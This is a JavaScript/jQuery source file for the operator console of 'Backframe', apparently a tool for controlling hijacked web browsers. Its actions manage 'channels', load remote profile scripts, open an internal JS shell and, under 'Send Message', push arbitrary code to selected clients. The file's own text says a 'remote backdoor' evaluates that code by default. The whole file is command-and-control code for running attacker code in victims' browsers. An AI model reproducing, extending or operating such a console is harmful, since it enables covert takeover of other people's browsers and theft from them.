$(document).ready(function () {

action('Manage Channels', function () {
	hide();
	show('channels');
	render('<p>Select one or more items from the "channels" select box and "Confirm Delete" to remove or press "Add Channel" to insert. This change wont affect your profile.</p><input name="add" value="Add Channel" type="button"/> <input name="del" value="Confirm Delete" type="button"/>');

	$('#action-container input[@name="add"]').click(function () {
		$(this).parent().append('<div><div class="box"><p>Provide the full URL path to your channel.</p><label for="name">name</label><br/><input name="name" type="text" size="50"/><br/><label for="location">location</label><br/><input name="location" type="text" size="50"/><br/><input name="add" value="Add Channel" type="button"/> <input name="close" value="Close" type="button"/></div></div>');
		
		var box = $(this).siblings('div .box');
		box.modalContent();
		
		$('#modalContent input[@name="add"]').click(function () {
			var name = $.trim($(this).siblings('input[@name="name"]').val());
			var location = $.trim($(this).siblings('input[@name="location"]').val());
			
			if (name == '' || location == '') {
				alert('All fields are required!');
				return;
			}
			
			channel(name, location);
			populate_channels();
			box.unmodalContent();
		});
		
		$('#modalContent input[@name="close"]').click(function () {
			box.unmodalContent();
		});
	});
	
	$('#action-container input[@name="del"]').click(function () {
		if ($('select[@name="channels"]').get(0).options.length == 0) {
			alert('Your "channels" list is empty!');
			return;
		}
		
		var options = $('select[@name="channels"]').selectedOptions();
		
		if (options.length == 0) {
			alert('Please select the channels you want to delete!');
			return;
		}
		
		if (!confirm('Do you really want to delete the selected channels?'))
			return;
			
		for (var index = 0; index < options.length; index++)
			del_channel(options[index]);
			
		populate_channels();
	});
});

action('Manage Session', function () {
	hide();
	render('<p>Press "Load Profile" to load a JavaScript text file that contains predefined channels, actions and other elements from your own customized Backframe environment.</p><input name="load" value="Load Profile" type="button"/>');
	
	$('#action-container input[@name="load"]').click(function () {
		$(this).parent().append('<div><div class="box"><p>Provide the full URL path to your profile.</p><label for="location">location</label><br/><input name="location" type="text" size="50"/><br/><input name="load" value="Load Profile" type="button"/> <input name="close" value="Close" type="button"/></div></div>');
		
		var box = $(this).siblings('div .box');
		box.modalContent();
		
		$('#modalContent input[@name="load"]').click(function () {
			var location = $.trim($(this).siblings('input[@name="location"]').val());
			
			if (location == '') {
				alert('All fields are required!');
				return;
			}
			
			load(name, location);
			populate_channels();
			box.unmodalContent();
		});
		
		$('#modalContent input[@name="close"]').click(function () {
			box.unmodalContent();
		});
	});
});

action('Send Message', function () {
	hide();
	
	if ($('#channels-container select').get(0).options.length == 0) {
		render('<div class="error">You have no channels in your console.</div><p>You can add channels with your profile script or the "Manage Channels" action item on the left.</p>');
		return;
	}
	
	show();
	render('<p>Depending on the type of the remote backdoor, the message will be either evaluated (default) or properly handled.</p><textarea class="pane" style="height:5em;" name="message" cols="50" rows="10"></textarea><br/><input name="send" value="Send Message" type="button"/><span class="loader" style="display:none;"></span>');
	
	$('#action-container input[@name="send"]').click(function () {
		var __message = $.trim($(this).siblings('textarea[@name="message"]').val());
		
		if (__message == '') {
			alert('All fields are required!');
			return;
		}
		
		var clients = selected_clients_ex();
		
		if (clients.length == 0) {
			alert('No clients selected!');
			return;
		}
		
		message(__message, clients);
		
		$(this).siblings('.loader').show();
		$(this).siblings('.loader').fadeOut(2000);
	});
});

action('Open Shell', function () {
	show();
	render('<textarea class="pane" style="height:16em;" name="shell" cols="50" rows="10"></textarea>');
	
	var console = MasterAPI.console($('#action-container textarea[@name="shell"]').get(0));
	console.write("The Shell provides you with dynamic environment to tap into Backframe internals.\n");
	
	var shell = MasterAPI.jsshell(console);
	
	$(console).focus();
});

});